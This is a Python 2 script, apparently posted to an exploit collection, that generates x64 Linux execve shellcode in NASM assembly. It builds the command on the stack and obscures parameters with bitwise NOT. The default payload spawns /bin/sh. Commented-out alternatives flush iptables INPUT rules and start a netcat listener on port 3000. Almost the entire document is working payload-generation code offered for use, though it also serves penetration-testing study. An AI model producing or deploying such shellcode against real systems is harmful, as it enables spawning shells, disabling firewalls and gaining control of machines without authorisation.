Linux/x64 - x64 Assembly Shellcode (Generator)

#!/usr/bin/env python
#
# Features:
#	- Linux shellcode x64 assembly code generation
#	- stack based (smaller payload size)
# 	- execve based
#	- supports long commands (meaning bigger than an x64 register - 64 bits)
#	- supports long parameters (meaning bigger than an x64 register - 64 bits)
#	- one command only (execve will alter the current memory proc and when it exits there's no continuation)
#	- supports command with up to 8 parameters
#
# Instructions
#	- requires full path to the command
#	- only one command is supported due to execve transforming the current process into a new one, loosing all previous context (any other instructions that would have been executed)
#	- after having the x64 generated assembly code:
#		- copy paste it into a file (in a Linux environment) - example.nasm
#		- execute:
#			nasm -felf64 example.nasm -o example.o && ld example.o -o example
#
# Author: Andre Lima @0x4ndr3
#	https://pentesterslife.blog
#
########

command = "/bin/sh"
#command = "/sbin/iptables -F INPUT"
#command = "/bin/nc -lvp 3000"
#command = "/bin/echo 1 2 3 4 5 6 7 longparamparamparam"

def tohex(val, nbits):
	return hex((val + (1 << nbits)) % (1 << nbits))

code = ""
code += "global _start\n"
code += "section .text\n"
code += "\n"
code += "_start:\n"
code += "push 59\n"
code += "pop rax\n"
code += "cdq\n"
code += "push rdx\n"

params = command.split(' ')
try:
	params.remove('') # in case of multiple spaces in between params in the command - cleanup
except: # it throws an exception if it doesn't finds one
	pass

if len(params[0]) % 8 != 0:
	command = "/"*(8-len(params[0])%8) + params[0]

iters = len(command)/8 - 1
while iters >= 0:
	block = command[iters*8:iters*8+8]
	code += "mov rbx, 0x" + block[::-1].encode("hex") + "\n"
	code += "push rbx\n"
	iters -= 1

code += "push rsp\n"
code += "pop rdi\n"

aux_regs = ["r8","r9","r10","r11","r12","r13","r14","r15"]
i = 0
params = params[1:] # remove first element - command itself. we just want the params
if len(params) > len(aux_regs):
	print "More than " + str(len(aux_regs)) + " parameters... Unsupported."
	exit(1)
for p in params:
	code += "push rdx\n"
	if len(p) % 8 != 0:
		p += "\x00"*(8-len(p)%8)
	iters = len(p)/8 -1
	while iters >= 0: # each param
		block = p[iters*8:iters*8+8]
		code += "mov rbx, 0x" + tohex(~int(block[::-1].encode("hex"),16),64)[2:2+16] + "\n"
		code += "not rbx\n"
		code += "push rbx\n"
		iters -= 1
	code += "push rsp\n"
	code += "pop " + aux_regs[i] + "\n"
	i += 1

code += "push rdx\n"
code += "push rsp\n"
code += "pop rdx\n"

while i>0:
	i -= 1
	code += "push " + aux_regs[i] + "\n"

code += "push rdi\n"
code += "push rsp\n"
code += "pop rsi\n"
code += "syscall\n"

print code